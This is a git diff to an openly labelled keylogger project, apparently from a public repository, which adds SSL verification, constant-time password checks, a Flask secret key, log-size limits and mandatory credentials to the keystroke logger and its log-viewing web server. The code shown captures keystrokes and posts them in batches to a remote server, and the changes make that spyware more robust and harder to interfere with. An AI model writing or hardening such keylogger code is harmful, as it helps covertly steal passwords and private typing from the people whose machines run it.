diff --git a/config/.env.example b/config/.env.example index 946eeb2..0153696 100644 --- a/config/.env.example +++ b/config/.env.example @@ -4,3 +4,4 @@ WEB_SERVER_PASSWORD=change_this_password # Flask Configuration FLASK_DEBUG=False +FLASK_SECRET_KEY=generate_random_secret_key_here diff --git a/src/keylogger.py b/src/keylogger.py index 1a0bebc..f04e87a 100644 --- a/src/keylogger.py +++ b/src/keylogger.py @@ -32,7 +32,7 @@ GitHub: https://github.com/Stalin-143 class KeyLogger: """Keylogger class to handle keyboard input capture and logging.""" - def __init__(self, log_file_path, server_url, batch_size=10): + def __init__(self, log_file_path, server_url, batch_size=10, verify_ssl=True): """ Initialize the KeyLogger. @@ -40,10 +40,12 @@ class KeyLogger: log_file_path (str): Path to the log file server_url (str): URL of the server to send logs to batch_size (int): Number of keystrokes before sending to server + verify_ssl (bool): Whether to verify SSL certificates (default: True) """ self.log_file_path = log_file_path self.server_url = server_url self.batch_size = batch_size + self.verify_ssl = verify_ssl self.buffer = [] # Ensure the log directory exists @@ -70,7 +72,12 @@ class KeyLogger: try: log_data = ''.join(self.buffer) - response = requests.post(self.server_url, data={"log": log_data}, timeout=10) + response = requests.post( + self.server_url, + data={"log": log_data}, + timeout=10, + verify=self.verify_ssl # Verify SSL certificates by default + ) if response.status_code == 200: print("Log sent successfully!") @@ -80,6 +87,9 @@ class KeyLogger: # Clear the buffer after sending self.buffer = [] + except requests.exceptions.SSLError as e: + print(f"SSL Error: {e}") + print("If using self-signed certificates, you can disable SSL verification (NOT recommended for production)") except requests.exceptions.RequestException as e: print(f"Error sending log: {e}") @@ -186,6 +196,11 @@ def main(): type=int, help='Override batch size from config' ) + parser.add_argument( + '--no-verify-ssl', + action='store_true', + help='Disable SSL certificate verification (NOT recommended)' + ) args = parser.parse_args() @@ -197,14 +212,19 @@ def main(): log_file_path = args.log_file or keylogger_config.get('log_file_path', 'logs/keylog.txt') server_url = args.server_url or keylogger_config.get('server_url', '') batch_size = args.batch_size or keylogger_config.get('batch_size', 10) + verify_ssl = not args.no_verify_ssl # Default to True unless --no-verify-ssl is passed if not server_url: print("Error: Server URL not configured.") print("Please set server_url in config/config.json or use --server-url argument.") sys.exit(1) + + if args.no_verify_ssl: + print("⚠️ WARNING: SSL certificate verification is DISABLED!") + print(" This is NOT recommended for production use.") # Create and start the keylogger - keylogger = KeyLogger(log_file_path, server_url, batch_size) + keylogger = KeyLogger(log_file_path, server_url, batch_size, verify_ssl) keylogger.start() diff --git a/src/server.py b/src/server.py index 9fa194a..7da76f7 100644 --- a/src/server.py +++ b/src/server.py @@ -7,6 +7,7 @@ For educational purposes only. import os import sys import json +import secrets import argparse from functools import wraps from flask import Flask, render_template_string, send_file, request, Response @@ -25,6 +26,9 @@ Github: https://github.com/Stalin-143 app = Flask(__name__) +# Set a secure secret key for session management +app.secret_key = os.getenv('FLASK_SECRET_KEY', secrets.token_hex(32)) + # Global configuration CONFIG = { 'log_file_path': 'logs/keylog.txt', @@ -35,7 +39,7 @@ CONFIG = { def check_auth(username, password): """ - Check if username and password are valid. + Check if username and password are valid using secure comparison. Args: username (str): Username to check @@ -44,7 +48,10 @@ def check_auth(username, password): Returns: bool: True if valid, False otherwise """ - return username == CONFIG['username'] and password == CONFIG['password'] + # Use secrets.compare_digest for constant-time comparison to prevent timing attacks + username_match = secrets.compare_digest(username, CONFIG['username']) + password_match = secrets.compare_digest(password, CONFIG['password']) + return username_match and password_match def authenticate(): @@ -153,8 +160,19 @@ def home(): if os.path.exists(log_file_path): try: - with open(log_file_path, 'r') as file: - log_contents = file.read() + # Read file with size limit to prevent memory exhaustion + MAX_FILE_SIZE = 10 * 1024 * 1024 # 10MB limit + file_size = os.path.getsize(log_file_path) + + if file_size > MAX_FILE_SIZE: + # For large files, read only the last portion + with open(log_file_path, 'r') as file: + file.seek(max(0, file_size - MAX_FILE_SIZE)) + log_contents = file.read() + log_contents = f"[Showing last {MAX_FILE_SIZE/1024/1024:.1f}MB of {file_size/1024/1024:.1f}MB file]\n\n" + log_contents + else: + with open(log_file_path, 'r') as file: + log_contents = file.read() except Exception as e: log_contents = f"Error reading log file: {e}" else: @@ -276,12 +294,24 @@ def main(): # Update global config CONFIG['log_file_path'] = args.log_file or server_config.get('log_file_path', 'logs/keylog.txt') - # Load credentials from environment variables or config - CONFIG['username'] = os.getenv('WEB_SERVER_USERNAME', 'admin') - CONFIG['password'] = os.getenv('WEB_SERVER_PASSWORD', 'admin') + # Load credentials from environment variables + CONFIG['username'] = os.getenv('WEB_SERVER_USERNAME') + CONFIG['password'] = os.getenv('WEB_SERVER_PASSWORD') - if CONFIG['password'] == 'admin': - print("⚠️ WARNING: Using default password. Please set WEB_SERVER_PASSWORD environment variable.") + # Validate that credentials are set + if not CONFIG['username'] or not CONFIG['password']: + print("ERROR: Authentication credentials not set!") + print("Please set WEB_SERVER_USERNAME and WEB_SERVER_PASSWORD environment variables.") + print("Example:") + print(" export WEB_SERVER_USERNAME=admin") + print(" export WEB_SERVER_PASSWORD=your_secure_password") + print("\nOr source your .env file:") + print(" source config/.env") + sys.exit(1) + + if CONFIG['password'] == 'admin' or len(CONFIG['password']) < 8: + print("⚠️ WARNING: Weak password detected!") + print(" Please use a strong password (at least 8 characters).") # Get server settings host = args.host or server_config.get('host', '0.0.0.0')